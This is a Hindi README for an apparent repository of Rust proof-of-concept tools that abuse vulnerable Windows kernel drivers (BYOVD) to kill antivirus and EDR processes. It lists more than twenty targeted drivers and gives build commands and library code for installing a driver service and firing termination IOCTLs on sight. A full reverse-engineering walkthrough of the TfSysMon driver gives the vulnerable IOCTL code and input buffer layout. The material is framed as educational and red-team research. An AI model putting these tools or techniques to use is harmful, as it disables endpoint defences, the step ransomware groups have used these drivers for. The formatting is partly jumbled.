BYOVD असुरक्षित ड्राइवरों का उपयोग करके AV/EDR समाधानों को अक्षम करने के तरीके प्रदर्शित करने वाले PoC का एक संग्रह है।

इस संग्रह में अप्रलेखित ड्राइवर और वे दोनों शामिल हैं जिनका कवरेज LOLDDrivers या Microsoft की अनुशंसित ड्राइवर ब्लॉक नियमों में पहले से मौजूद है।

अपनी प्रारंभिक खोज के बाद से, TfSysMon ड्राइवर को LOLDrivers में जोड़ा गया है और Sophos और ESET की रिपोर्ट के अनुसार, रैनसमवेयर समूहों द्वारा EDRKillShifter टूल का उपयोग करके इसका दुरुपयोग किया गया है।

📚 विषय-सूची

🔍 अवलोकन
🏗️ प्रोजेक्ट संरचना
🔧 निर्माण
📦 byovd-lib
💡 POCs
🔬 संपूर्ण ड्राइवर रिवर्स इंजीनियरिंग प्रक्रिया (x64)
🔗 संदर्भ
⚠️ अस्वीकरण

🔍 अवलोकन

BYOVD तकनीक ने हाल ही में आक्रामक सुरक्षा (offensive security) में लोकप्रियता हासिल की है, विशेष रूप से SpyBoy के Terminator ($3,000 में बेचा गया) और ZeroMemoryEx Blackout प्रोजेक्ट जैसे टूल के जारी होने के साथ। ये टूल AV/EDR एजेंटों को अक्षम करने के लिए असुरक्षित ड्राइवरों का लाभ उठाते हैं, जिससे पहचान कम होने से आगे के हमलों को सुविधाजनक बनाया जा सके।

इस रिपॉजिटरी में शैक्षिक उद्देश्यों के लिए विकसित कई PoC शामिल हैं, जो शोधकर्ताओं को यह समझने में मदद करते हैं कि प्रक्रियाओं को समाप्त करने के लिए इन ड्राइवरों का दुरुपयोग कैसे किया जा सकता है।

🏗️ प्रोजेक्ट संरचना

प्रोजेक्ट को Rust Cargo workspace के रूप में व्यवस्थित किया गया है। अधिकांश PoC एक सामान्य लाइब्रेरी (byovd-lib) साझा करते हैं जो बॉयलरप्लेट को संभालती है: ड्राइवर सेवा जीवनचक्र, IOCTL डिस्पैच, प्रक्रिया निगरानी, विशेषाधिकार समायोजन, और सफाई। प्रत्येक किलर एक पतला बाइनरी (~50-100 लाइनें) है जो केवल अपने ड्राइवर-विशिष्ट कॉन्फ़िगरेशन को परिभाषित करता है। K7Terminator, Astra64-Killer, Ktapi-Killer, और Xhunter1-Killer स्टैंडअलोन हैं — उनके पास अपनी स्वयं की [workspace] घोषणाएँ हैं और वे रूट workspace के माध्यम से नहीं, बल्कि सीधे अपनी निर्देशिकाओं से बनाए जाते हैं।``` BYOVD/ ├── Cargo.toml # Workspace root (deps + release profile) ├── Cargo.lock ├── README.md ├── LICENSE │ ├── byovd-lib/ # Shared library │ ├── Cargo.toml │ └── src/ │ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() │ ├── service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete) │ ├── device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes │ ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) │ ├── process.rs # find_pid_by_name / find_all_pids_by_name │ ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler │ ├── privilege.rs # enable_privilege / ensure_running_as_local_system │ └── util.rs # to_wstring / to_cstring / get_current_dir │ ├── AppRemover-Killer/ # OPSWAT AppRemover ardrv.sys ├── Astra64-Killer/ # EnTech Astra32 / TVicHW astra64.sys -- standalone, data-only Shadow SSDT hijack EDR killer ├── BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324) ├── CcProtect-Killer/ # CnCrypt CcProtect ├── EnPortv-Killer/ # EnCase EnPortv ├── GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155) ├── GoFlyDrv-Killer/ # Golink GoFlyDrv ├── HNOs2Ec-Killer/ # HONOR PCManager HNOs2Ec.sys ├── HWAudioOs2Ec-Killer/ # Huawei Audio driver HWAudioOs2Ec.sys ├── K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes ├── Ksapi64-Killer/ # Kingsoft ksapi64 ├── Ktapi-Killer/ # Kontron ktapi.sys -- standalone, two-stage shellcode EDR killer ├── MonProcess-Killer/ # HONOR HnRSMService MonProcess.sys ├── MonProcessEX-Killer/ # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys ├── NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction) ├── PCTcore64-Killer/ # PC Tools PCTcore64 (CVE-2026-8501) ├── PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction) ├── STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618) ├── TfSysMon-Killer/ # ThreatFire sysmon ├── UnknownKiller/ # unattributed unknown.sys ├── Viragt64-Killer/ # Tg Soft viragt64 ├── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271) ├── Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609) └── Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm

प्रत्येक `*-Killer/` निर्देशिका में अपना स्वयं का `Cargo.toml`, `src/main.rs` (`DriverConfig` impl + CLI), `README.md` (ड्राइवर हैश + उपयोग), और मेल खाती `.sys` फ़ाइल होती है जिसे बाइनरी रनटाइम पर लोड करती है।

## 🔧 निर्माण

**पूर्वापेक्षाएँ:** Rust टूलचेन और Windows SDK के साथ Visual Studio Build Tools।```bash
# Build all tools (release, optimized + stripped)
cargo build --release

# Build a single tool
cargo build --release -p BdApiUtil-Killer

# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer

बाइनरी target/release/ में आउटपुट होती हैं। चलाने से पहले संबंधित .sys ड्राइवर फ़ाइल को निष्पादन योग्य के समान निर्देशिका में कॉपी करें।

📦 byovd-lib

byovd-lib वह साझा लाइब्रेरी है जिस पर सभी PoC (K7Terminator को छोड़कर) निर्मित हैं। यह दो पूरक APIs उजागर करती है -- एक उच्च-स्तरीय घोषणात्मक (declarative) API मानक "ड्राइवर इंस्टॉल करें, देखते ही मारें, सफाई करें" प्रवाह के लिए, और एक निम्न-स्तरीय अनिवार्य (imperative) API उन किलर्स के लिए जिन्हें कस्टम प्रवाह की आवश्यकता होती है (पहले से लोड किए गए ड्राइवर से जुड़ना, कई PIDs में फैलना, संरचित IOCTL बफ़र, कस्टम रीट्राई लॉजिक, आदि)। दोनों को एक ही बाइनरी में मिश्रित किया जा सकता है।

मॉड्यूल लेआउट```

byovd-lib/src/ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() ├── service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete) ├── device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes) ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) ├── process.rs # find_pid_by_name / find_all_pids_by_name ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler ├── privilege.rs # enable_privilege / ensure_running_as_local_system └── util.rs # to_wstring / to_cstring / get_current_dir

### उच्च-स्तरीय API: `DriverConfig` ट्रेट + `run()`

यह वही है जो बंडल किए गए किलर उपयोग करते हैं। ट्रेट को लागू करें, `byovd_lib::run()` को कॉल करें, हो गया।```rust
use byovd_lib::{DriverConfig, Result};
use clap::Parser;

struct MyDriver;
impl DriverConfig for MyDriver {
    fn driver_name(&self) -> &str { "MyDriver" }
    fn driver_file(&self) -> &str { "mydriver.sys" }
    fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
    fn ioctl_code(&self) -> u32 { 0xDEAD }
    fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
        pid.to_ne_bytes().to_vec()
    }
}

#[derive(Parser)]
struct Cli {
    #[arg(short = 'n', long = "name", required = true)]
    process_name: String,
}

fn main() -> Result<()> {
    let cli = Cli::parse();
    byovd_lib::run(&MyDriver, &cli.process_name, None)
}

run() यह करता है: preflight_check → सेवा इंस्टॉल करें (SERVICE_DEMAND_START) → StartService → kill-on-sight मॉनिटर (बाहर निकलने के लिए Ctrl+C) → सेवा रोकें और डिलीट करें।

वैकल्पिक trait overrides उनके डिफ़ॉल्ट के साथ:

Low-level API: imperative टुकड़े

जब trait प्रवाह फिट न बैठे -- जैसे ड्राइवर पहले से लोड है और आप केवल एक IOCTL फायर करना चाहते हैं, आपको कस्टम retry नीति चाहिए, IOCTL सिर्फ PID के बजाय संरचित इनपुट लेता है, या आप सभी मेल खाते PIDs में फैलाना चाहते हैं -- तो निचले स्तर के टुकड़ों को सीधे जोड़ें।

Driver lifecycle -- ByovdDriver:```rust use byovd_lib::ByovdDriver;

let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\.\MyDevice")?; driver.start()?; // ERROR_SERVICE_ALREADY_RUNNING is OK let device = driver.open_device()?; // returns DeviceHandle // ... send IOCTLs ... driver.stop_and_delete()?;

**IOCTL डिस्पैच** -- `DeviceHandle` पाँच टाइप किए गए रूप (typed shapes) उजागर करता है:

| Method | कब उपयोग करें |
|---|---|
| `ioctl<I, O>(code, &input, &mut output)` | इनपुट और आउटपुट दोनों बफ़र, अलग-अलग प्रकार |
| `ioctl_inout<T>(code, &mut data)` | इनपुट + आउटपुट के लिए एक ही बफ़र |
| `ioctl_in<I>(code, &input)` | केवल इनपुट, कोई आउटपुट बफ़र नहीं |
| `ioctl_in_unchecked<I>(code, &input)` | केवल इनपुट, विफलता को अनदेखा करें (`ignore_ioctl_error` का प्रति-कॉल विकल्प) |
| `ioctl_raw(code, in_ptr, in_size, out_ptr, out_size)` | रॉ पॉइंटर एस्केप हैच |

टाइप किए गए रूप मैन्युअल `to_ne_bytes()` / `extend_from_slice()` बॉयलरप्लेट को हटा देते हैं जब IOCTL एक स्ट्रक्चर लेता है (जैसे `{ pid: u32, padding: [u8; 20] }`)।

**प्रोसेस लुकअप** -- `find_pid_by_name(name)` (पहला मिलान) और `find_all_pids_by_name(name)` (सभी मिलान, सिस्टम PID ≤ 4 को बाहर करता है)।

**कस्टम मॉनिटर लूप** -- `run_monitor_loop(name, interval, |pid| ...)` एक क्लोज़र लेता है ताकि आप प्रति मिलान जो चाहें कर सकें (एकाधिक IOCTL, संरचित लॉगिंग, PID में फैन-आउट, त्रुटि पर पुनः प्रयास)।

**विशेषाधिकार** -- `enable_privilege("SeDebugPrivilege")` / `enable_privilege("SeLoadDriverPrivilege")` उन ड्राइवरों के लिए जिन्हें स्पष्ट टोकन विशेषाधिकार की आवश्यकता होती है। `ensure_running_as_local_system()` एक त्रुटि लौटाता है यदि प्रक्रिया `S-1-5-18` के रूप में नहीं चल रही है।

**हैंडल रैपर** -- `WinHandle` (स्वचालित-`CloseHandle`) और `ScHandle` (स्वचालित-`CloseServiceHandle`) `Send + Sync` हैं और थ्रेड्स के बीच ले जाए जा सकते हैं।

### उदाहरण: पहले से लोड किए गए ड्राइवर से जुड़ें, कोई सेवा जीवनचक्र नहीं

यही `UnknownKiller --attach` करता है -- SCM को पूरी तरह से छोड़ें, बस डिवाइस खोलें और IOCTL को एक बार फायर करें:```rust
use byovd_lib::{find_pid_by_name, DeviceHandle, Result};

fn main() -> Result<()> {
    let device = DeviceHandle::open("\\\\.\\eb")?;
    let pid = find_pid_by_name("notepad.exe").ok_or("not running")?;
    device.ioctl_in(0x222024, &pid)?;   // typed: just pass &u32
    Ok(())
}

बैक-कॉम्पैट एलियास

FileHandle / ServiceHandle अभी भी WinHandle / ScHandle पर रिज़ॉल्व होते हैं, और get_pid_by_name को find_pid_by_name के एलियास के रूप में रखा गया है, ताकि पुराना कोड जो उन नामों का संदर्भ देता है, कंपाइल होता रहे।

💡 POCs

नीचे इस रिपॉजिटरी में उपलब्ध ड्राइवर और उनके संबंधित PoCs दिए गए हैं:

AppRemover-Killer: OPSWAT AppRemover से ardrv.sys को लक्षित करता है।
Astra64-Killer: EnTech Taiwan (Astra32 / TVicHW) से astra64.sys को लक्षित करता है -- स्टैंडअलोन डेटा-ओनली Shadow SSDT हाईजैक EDR किलर।
BdApiUtil-Killer: Baidu AntiVirus से BdApiUtil64.sys को लक्षित करता है (CVE-2024-51324)।
CcProtect-Killer: CnCrypt से CcProtect.sys को लक्षित करता है।
EnPortv-Killer: Guidance EnCase से EnPortv.sys को लक्षित करता है।

🔬 पूर्ण ड्राइवर रिवर्स इंजीनियरिंग प्रक्रिया (x64)

यह अनुभाग TfSysMon ड्राइवर को एक व्यावहारिक उदाहरण के रूप में उपयोग करके संपूर्ण A-Z रिवर्स इंजीनियरिंग पद्धति प्रदर्शित करता है। यह प्रक्रिया किसी भी x64 Windows कर्नेल ड्राइवर विश्लेषण पर लागू होती है।

🎯 चरण 0: पूर्व-विश्लेषण - फ़ंक्शन इम्पोर्ट स्क्रीनिंग

रिवर्स इंजीनियरिंग शुरू करने से पहले ड्राइवर इम्पोर्ट की जाँच करें।

एक बुनियादी प्रोसेस किलर ड्राइवर के लिए 2 चीज़ों की आवश्यकता होती है:

किसी प्रोसेस पर हैंडल प्राप्त करने का एक तरीका (उदाहरण के लिए ZwOpenProcess या NtOpenProcess)

प्रोसेस को समाप्त करने का एक तरीका (उदाहरण के लिए ZwTerminateProcess या NtTerminateProcess)

जाँचें कि क्या ड्राइवर दोनों प्रकार के फ़ंक्शन इम्पोर्ट करता है। यदि किसी ड्राइवर के इम्पोर्टेड फ़ंक्शन में Nt/ZwOpenProcess और Nt/ZwTerminateProcess दोनों हैं, तो यह एक संभावित प्रोसेस किलर ड्राइवर उम्मीदवार है।

इन इम्पोर्ट की पुष्टि करने के बाद ही आपको IDA Pro में विस्तृत रिवर्स इंजीनियरिंग के लिए आगे बढ़ना चाहिए।

🛠️ x64 ड्राइवर विश्लेषण के लिए पूर्वापेक्षाएँ

आवश्यक उपकरण:

IDA Pro - स्थैतिक विश्लेषण के लिए ड्राइवर को डिसअसेंबल करने हेतु
OSRLoader - ड्राइवर को लोड/चलाने के लिए (sc.exe कमांड का विकल्प)

📍 चरण 1: DriverEntry का पता लगाएं और विश्लेषण करें

हर Windows ड्राइवर DriverEntry से शुरू होता है - पहले इस फ़ंक्शन को खोजें:

TfSysMon में, DriverEntry इस प्रकार दिखता है:```c NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { unsigned __int64 v2; // rax v2 = BugCheckParameter2; if ( !BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232LL ) { v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFLL; if ( !v2 ) v2 = 0x2B992DDFA232LL; BugCheckParameter2 = v2; } BugCheckParameter3 = ~v2; return sub_17484(DriverObject); }

**विश्लेषण नोट्स:**
- कोड BugCheckParameter2 और BugCheckParameter3 के साथ कुछ प्रारंभिकरण करता है
- वास्तविक ड्राइवर प्रारंभिकरण `sub_17484` में होता है
- `sub_17484(DriverObject)` के कॉल का अनुसरण करें - यहीं पर वास्तविक ड्राइवर सेटअप होता है

### 📍 चरण 2: ड्राइवर प्रारंभिकरण श्रृंखला का अनुसरण करें

**प्रारंभिकरण फ़ंक्शन (`sub_17484`) पर नेविगेट करें:**```c
NTSTATUS __fastcall sub_17484(PDRIVER_OBJECT DriverObject, unsigned __int16 *a2)
{
  // ... initialization code ...
  
  RtlInitUnicodeString(&DestinationString, L"\\Device\\TfSysMon");
  result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
  if ( result < 0 )
    return result;
    
  qword_1D5D8 = 0;
  dword_1D5D0 = 1;
  DriverObject->MajorFunction[15] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[18] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_17694;
  
  RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\TfSysMon");
  v6 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
  // ... rest of function ...
}

प्रमुख रिवर्स इंजीनियरिंग निष्कर्ष:

डिवाइस नाम: \\Device\\TfSysMon (कर्नेल स्पेस)
सिम्बोलिक लिंक: \\DosDevices\\TfSysMon (यूज़र-मोड से \\.\\TfSysMon के रूप में एक्सेसिबल)
डिवाइस प्रकार: 0x22 = FILE_DEVICE_UNKNOWN
IRP हैंडलर: सभी प्रमुख फ़ंक्शन sub_17694 की ओर इंगित करते हैं
लक्षित फ़ंक्शन: MajorFunction[14] = IRP_MJ_DEVICE_CONTROL हैंडलर

📍 चरण 3: IRP डिस्पैच फ़ंक्शन का विश्लेषण करें

डिस्पैच फ़ंक्शन (sub_17694) पर नेविगेट करें:```c __int64 __fastcall sub_17694(struct _DEVICE_OBJECT *a1, IRP *a2) { struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx unsigned int v4; // ebx

if ( a1 != DeviceObject ) { v4 = -1073741790; goto LABEL_20; } CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation; v4 = 0; if ( !CurrentStackLocation->MajorFunction ) { // Handle IRP_MJ_CREATE } else if ( CurrentStackLocation->MajorFunction == 2 ) { // Handle IRP_MJ_CLOSE } else if ( CurrentStackLocation->MajorFunction <= 0xDu ) { goto LABEL_7; } else if ( CurrentStackLocation->MajorFunction <= 0xFu ) { v4 = sub_177D8(a2); // THIS IS THE IOCTL HANDLER goto LABEL_20; } // ... rest of function }

**रिवर्स इंजीनियरिंग विश्लेषण:**
- डिवाइस सत्यापन पहले होता है (`if ( a1 != DeviceObject )`)
- `CurrentStackLocation->MajorFunction` ऑपरेशन के प्रकार को निर्धारित करता है
- **महत्वपूर्ण**: MajorFunction मान 14 (0xE) और 15 (0xF) `sub_177D8` को कॉल करते हैं
- MajorFunction 14 = IRP_MJ_DEVICE_CONTROL = IOCTL प्रोसेसिंग
- कमजोर कोड पथ है: **IOCTL अनुरोध → sub_177D8**

### 📍 चरण 4: IOCTL हैंडलर का रिवर्स इंजीनियरिंग करें

**IOCTL प्रोसेसिंग फ़ंक्शन (`sub_177D8`) पर नेविगेट करें:**```c
__int64 __fastcall sub_177D8(PIRP Irp, __int64 a2, __int64 a3, __int64 a4)
{
  // ... variable declarations ...
  
  v7 = *(_DWORD *)(a2 + 24);  // Extract IOCTL code
  MasterIrp = Irp->AssociatedIrp.MasterIrp;  // Input buffer
  v9 = *(unsigned int *)(a2 + 16);  // InputBufferLength
  v10 = *(_DWORD *)(a2 + 8);  // OutputBufferLength
  
  if ( v7 > 0xB4A00070 )
  {
    if ( v7 > 0xB4A000F8 )
    {
      if ( v7 != -1264582404 )
      {
        switch ( v7 )
        {
          // ... various cases ...
          case 0xB4A00404:  // VULNERABLE IOCTL CODE
            if ( (unsigned int)v9 >= 0x18 )
              return (unsigned int)sub_1837C((__int64)Irp->AssociatedIrp.MasterIrp);
            break;
          // ... more cases ...
        }
      }
    }
  }
  // ... rest of function
}

क्रिटिकल रिवर्स इंजीनियरिंग खोजें:

IOCTL निष्कर्षण: v7 = *(_DWORD *)(a2 + 24) IO_STACK_LOCATION से IOCTL कोड प्राप्त करता है
इनपुट बफर: Irp->AssociatedIrp.MasterIrp में उपयोगकर्ता डेटा होता है
बफर लंबाई: v9 = *(unsigned int *)(a2 + 16) इनपुट बफर का आकार प्राप्त करता है
संवेदनशील IOCTL: 0xB4A00404 sub_1837C की ओर ले जाता है
आकार जांच: केवल बफर ≥ 0x18 (24 बाइट्स) की पुष्टि करता है - न्यूनतम सत्यापन!

📍 चरण 5: संवेदनशील फ़ंक्शन का विश्लेषण करें

प्रक्रिया समाप्ति फ़ंक्शन (sub_1837C) पर नेविगेट करें:```c __int64 __fastcall sub_1837C(__int64 a1) { unsigned int v2; // ebx void *v3; // rax unsigned int v4; // edi NTSTATUS v6; // eax // ... variable declarations ...

v2 = 0; if ( MmIsAddressValid((PVOID)a1) ) { v3 = *(void **)(a1 + 4); // EXTRACT PID FROM OFFSET +4 v4 = 0; if ( !v3 ) return 3221225485LL; memset(&ObjectAttributes.RootDirectory, 0, 20); ObjectAttributes.SecurityDescriptor = 0; ObjectAttributes.SecurityQualityOfService = 0; ClientId.UniqueThread = 0; ObjectAttributes.Length = 48; ClientId.UniqueProcess = v3; // SET TARGET PID while ( 1 ) { v6 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId); v7 = v6 < 0; v2 = v6; if ( !v6 ) break; v8 = v4++; if ( v8 >= 3 ) { v7 = v6 < 0; break; } } if ( !v7 ) { v9 = 0; do { v2 = ZwTerminateProcess(ProcessHandle, 0); // TERMINATE PROCESS if ( !v2 ) break; v10 = v9++; } while ( v10 < 3 ); ZwClose(ProcessHandle); } } return v2; }

**फ़ंक्शन विश्लेषण:**
- **इनपुट संरचना**: ड्राइवर कोड विश्लेषण से, हमने बफर लेआउट निर्धारित किया जहां PID ऑफसेट +4 पर है
- **इनपुट पार्सिंग**: `v3 = *(void **)(a1 + 4)` इनपुट बफर से ऑफसेट +4 पर PID निकालता है
- **प्रोसेस ओपनिंग**: न्यूनतम एक्सेस अधिकारों (1u = PROCESS_TERMINATE) के साथ `ZwOpenProcess`
- **कोई सुरक्षा जांच नहीं**: कॉलर विशेषाधिकारों या लक्ष्य प्रोसेस सुरक्षा का कोई सत्यापन नहीं
- **प्रोसेस टर्मिनेशन**: `ZwTerminateProcess` के लिए सीधा कॉल
- **रीट्राई लॉजिक**: ओपनिंग और टर्मिनेशन दोनों के लिए कई प्रयास
- **कोई भी प्रोसेस**: SYSTEM खाते के लिए सुलभ किसी भी प्रोसेस को समाप्त कर सकता है

### 📍 चरण 6: पूर्ण अटैक चेन का मानचित्रण करें

**पूर्ण रिवर्स इंजीनियरिंग प्रवाह:**
1. **प्रवेश बिंदु**: उपयोगकर्ता `\\.\\TfSysMon` पर `DeviceIoControl` कॉल करता है
2. **IRP निर्माण**: I/O मैनेजर MajorFunction = 14 के साथ IRP बनाता है
3. **डिस्पैच**: `sub_17694` IOCTL प्रोसेसिंग के लिए `sub_177D8` पर रूट करता है
4. **IOCTL जांच**: `sub_177D8` IOCTL कोड `0xB4A00404` और बफर आकार ≥ 24 बाइट्स को मान्य करता है
5. **निष्पादन**: उपयोगकर्ता इनपुट बफर के साथ `sub_1837C` को कॉल करता है
6. **टर्मिनेशन**: `sub_1837C` ऑफसेट +4 से PID निकालता है और `ZwTerminateProcess` के माध्यम से प्रोसेस को समाप्त करता है

**इनपुट बफर संरचना (ड्राइवर रिवर्स इंजीनियरिंग से):**```
Offset 0x00-0x03: [padding] - 4 bytes
Offset 0x04-0x07: [Target Process ID] - 4 bytes (DWORD)  
Offset 0x08-0x17: [extra_padding] - 16 bytes
Total Size: 24 bytes (0x18) - matches driver's minimum size check

यह पद्धति प्रदर्शित करती है कि किसी भी Windows x64 कर्नेल ड्राइवर को व्यवस्थित रूप से रिवर्स इंजीनियर करके समान कमजोरियों की पहचान कैसे की जाए, जो यूज़र-मोड संचार से लेकर खतरनाक कर्नेल ऑपरेशनों तक के निष्पादन पथ का अनुसरण करती है।

सहायता 🍺

यदि BYOVD ने आपके रेड टीम ऑपरेशनों में मदद की है, तो कृपया मुझे एक बियर खरीदने पर विचार करें:

🔗 संदर्भ

Alice Climent-Pommeret का ब्लॉग: LOL के साथ प्रोसेस किलर ड्राइवरों को खोजना और उनका शोषण करना $3000 के लिए
LOLDrivers: ज्ञात कमजोर ड्राइवरों का एक केंद्रीय भंडार
Microsoft ड्राइवर ब्लॉक नियम: Microsoft के अनुशंसित ड्राइवर ब्लॉक नियम
Windows कर्नेल प्रोग्रामिंग — Pavel Yosifovich द्वारा
Windows Internals, भाग 1 और 2 — Mark E. Russinovich, Alex Ionescu, David Solomon द्वारा

⚠️ अस्वीकरण

BYOVD प्रोजेक्ट केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए है। लेखक इन प्रोग्रामों के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं है। किसी भी सिस्टम पर इन टूल्स का उपयोग करने से पहले हमेशा स्पष्ट अनुमति लें।

`device_access()`	`SERVICE_ALL_ACCESS`	`CreateFileW` एक्सेस फ्लैग
`skip_unload()`	`false`	ड्राइवर क्लीनअप छोड़ें (जैसे ऐसे ड्राइवर जो अनलोड पर BSOD करते हैं)
`ignore_ioctl_error()`	`false`	IOCTL विफलता को सफलता मानें (जैसे NSecKrnl सफलता पर त्रुटि रिपोर्ट करता है)
`ioctl_output_size()`	`0`	अपेक्षित आउटपुट बफर आकार बाइट्स में
`preflight_check()`	`Ok(())`	लॉन्च-पूर्व सत्यापन (जैसे LocalSystem जाँच)

BYOVD

सबसे लोकप्रिय